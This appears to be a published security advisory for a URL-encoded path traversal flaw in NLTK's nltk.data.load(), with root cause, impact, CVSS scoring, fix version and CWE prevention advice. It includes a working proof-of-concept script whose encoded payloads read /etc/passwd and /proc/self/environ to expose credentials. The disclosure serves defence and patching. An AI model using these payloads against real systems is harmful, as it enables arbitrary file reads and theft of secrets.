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GHSA-p4gq-832x-fm9v CVE-2026-54293 PYSEC-2026-2078

Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.63%
Chance of exploitation in the next 30 days. Higher than 50.34% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
3.10.0
Upgrade nltk to this version or later

Description

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings

# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)

# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0

    # --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()

    # --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()

    # --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

fix

https://github.com/nltk/nltk/pull/3575

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.0
3.10.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.0

pip
pip install --upgrade "nltk>=3.10.0"
poetry
poetry add "nltk>=3.10.0"
uv
uv add "nltk>=3.10.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
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